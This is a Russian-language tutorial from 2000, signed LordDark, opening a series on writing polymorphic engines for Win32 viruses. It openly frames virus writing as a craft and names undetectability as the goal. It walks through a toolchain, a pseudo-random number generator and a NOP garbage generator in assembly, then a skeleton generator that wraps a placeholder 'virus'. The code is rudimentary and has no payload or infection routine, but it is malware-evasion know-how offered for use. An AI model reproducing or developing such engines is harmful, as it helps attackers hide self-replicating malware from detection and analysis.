

           Написание полиморфиков под Win32
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


                       ЧАСТЬ #1

1. Введение
~~~~~~~~~~~

Вирмейкерство - наука о создании и изучении программ целью 
которых является выжить в не дружелюбном киберпространстве.
Полиморфный  генератор (полиморфик,ПГ) - это  неотъемлемая
часть  саморазмножающихся организмов. Они усложняют анализ 
саморазмножающихся  организмов(СМ). Они  являются фактором
продления  эпидемии,  полной  или  частичной не  видимости. 
В идеале полиморфные генераторы приведут к не детектируемости.
Благодаря plugins'ам CМ становятся максимально сложные,и по
своим параметрам приближаются к живым организмам. Целью CМ
является  выжить в неблагоприятных условиях  с  различными
программами,  и  приспособится под систему не выдавая свое 
присутствие  оператору.  Стоит только    выпустит plug'ins 
с новым полиморфным генератором и мы опять на коне....


2. Что потребуется
~~~~~~~~~~~~~~~~~~

Понадобятся следующие программы:
        tasm32   - компиляция
        tlink32  - линковка
        pewrsec  - установка флага Write в Win32 приложениях
        soft-ice - отладка 
        i386     - документация по 386 и выше процессору

Программы  tasm32  и  tlink32 входят в поставку  Borland C++,
pewrsec можно  найти в журнале 29A#2. Вместо  soft-ice  можно 
использовать TD32, но для отладки CM он мало, чем пригодится.
Подрузомевается что читатель уже знает ассемблер, в противном
случае стоит купить по нему книгу.

В крайнем случаи стоит  поискать эти программы на rambler.ru,
altavista.com..
 
3. Написание "пустышки"
~~~~~~~~~~~~~~~~~~~~~~~

В этой главе будет рассмотрены следующее вопросы:
     1. Написание "пустышки"
     2. Добавление ДПСЧ
     3. Выбор регистров необходимых для ПГ 
     4. Генератор мусора 
     5. Начинаем писать ПГ

п. 1.

Не стоит пытаться сразу написать полиморфный генератор, это 
напрасная трата времени. Сперва нам понадобится "пустышка".
Ниже приведен пример такой "пустышки".

; tasm32 /m/mz pusto.asm
; tlink32 pusto.obj
; pewrsec pusto.exe
.386
.model flat
.data
 db ? ; необходимо для tlink32
.code
start:
ret
end start

п. 2.

Любой  алгоритм  полиморфного генератора основан на датчике 
псевдослучайных    чисел    (ДПСЧ). Не   стоит  потеть  над
придумыванием алгоритма ДПСЧ, ведь можно взять уже готовый.

a=a*0x8088405+1
f(x)=a mod x

0x8088405 - шестнадцатеричное число 134775813

Где a - начальный номер вхождение в таблицу псевдослучайных 
чисел. Для инициализации  переменной  'a'  возмем  значение
таймера (кол-во секунд, минут, часов).

Ниже следует эта подпрограмма на языке ассемблера:

random:
    push ebp edx ecx eax ; сохранение в стеке регистров
    call $+5             ; сохранение в стеке eip+5
_delta:
    pop ebp              ; ebp равен смещению метки _delta
    sub ebp, offset _delta ; вычитаем это значение
    db 0B8h              ; команда mov eax, seed
seed   dd ?
    imul eax, eax, 8088405h ; умножение
    inc eax               ; увеличиваем eax на единицу
    mov [ebp.seed], eax   ; сохраняем для последующего вычисления
    pop ecx               ; вытаскиваем из стека переменную x
    xor edx, edx          ; edx=0
    jecxz __1             ; нельзя делить на нуль
    div ecx               ; делим. eax=seed/x,edx=seed mod x
__1:
    xchg eax, edx         ; возвращаем в eax полученное число
    pop ecx edx           ; восстановление регистров
    pop ebp               ;
    ret                   ; выход из подпрограммы

п. 3.

И так мы написали ДПСЧ.  Давайте решим, в каких регистрах будем 
хранить необходимые данные для ПГ.

На входе:
    esi - смещение вируса(СМ)
    edi - смещение буфера, куда будет положен ПГ.
    ecx - длина вируса в байтах

На выходе:
    eax - длина полученного полиморфного (уникального) кода с
    расшифровщиком и зашифрованным вирусом.

п. 4.

Генератор "мусора" - подпрограмма, генерирующая код, который  не 
влияет на ход работы алгоритма. Например "мусором" может служить
команда процессора nop.

garbage:
    push ecx     ; запомнить ecx
    push 5
    pop  eax     ; eax = 5
    call random  ; 0..4
    xchg eax, ecx ; eax <=> ecx
    inc  ecx     ; 1..5
    mov  al, 90h ; 0x90 -> nop
    rep  stosb
    pop  ecx
    ret 


п. 5.

Потом следует совместить "пустышку" и ДПСЧ.
; tasm32 /m/z pusto.asm
; tlink32 pusto.obj
; pewrsec pusto.exe
max equ 5000
.386
.model flat
.data
 db ? ; необходимо для tlink32
buffer db max dup (?)
.code
start:
    lea esi, virus
    lea edi, buffer
    mov ecx, len_virus
    call pg
    jmp  edi

random:
    push ebp edx ecx eax ; сохранение в стеке регистров
    call $+5             ; сохранение в стеке eip+5
_delta:
    pop ebp              ; ebp равен смещению метки _delta
    sub ebp, offset _delta ; вычитаем это значение
    db 0B8h              ; команда mov eax, seed
seed   dd ?
    imul eax, eax, 8088405h ; умножение
    inc eax               ; увеличиваем eax на единицу
    mov [ebp.seed], eax   ; сохраняем для последующего вычисления
    pop ecx               ; вытаскиваем из стека переменную x
    xor edx, edx          ; edx=0
    jecxz __1             ; нельзя делить на нуль
    div ecx               ; делим. eax=seed/x,edx=seed mod x
__1:
    xchg eax, edx         ; возвращаем в eax полученное число
    pop ecx edx           ; востановление регистров
    pop ebp               ;
    ret                   ; выход из подпрограммы

virus:
    nop
    nop
    nop
    nop
    ret
len_virus = ($-virus)

pusha_regs struc
    _edi dd ?
    _esi dd ?
    _ebp dd ?
    _esp dd ?
    _ebx dd ?
    _edx dd ?
    _ecx dd ?
    _eax dd ? 
    ends

pg: ; ПОЛИМОРФНЫЙ ГЕНЕРАТОР  
    pusha
    call garbage
    rep movsb
    mov eax, edi
    sub eax, [esp._edi]
    mov [esp._eax], eax
    popa 
    ret 
garbage:
    push ecx
    push 5
    pop  eax
    call random  ; 0..4
    xchg eax, ecx
    inc  ecx     ; 1..5
    mov  al, 90h ; 0x90 -> nop
    rep  stosb
    pop  ecx
    ret 
end start

<c> LordDark, 2000



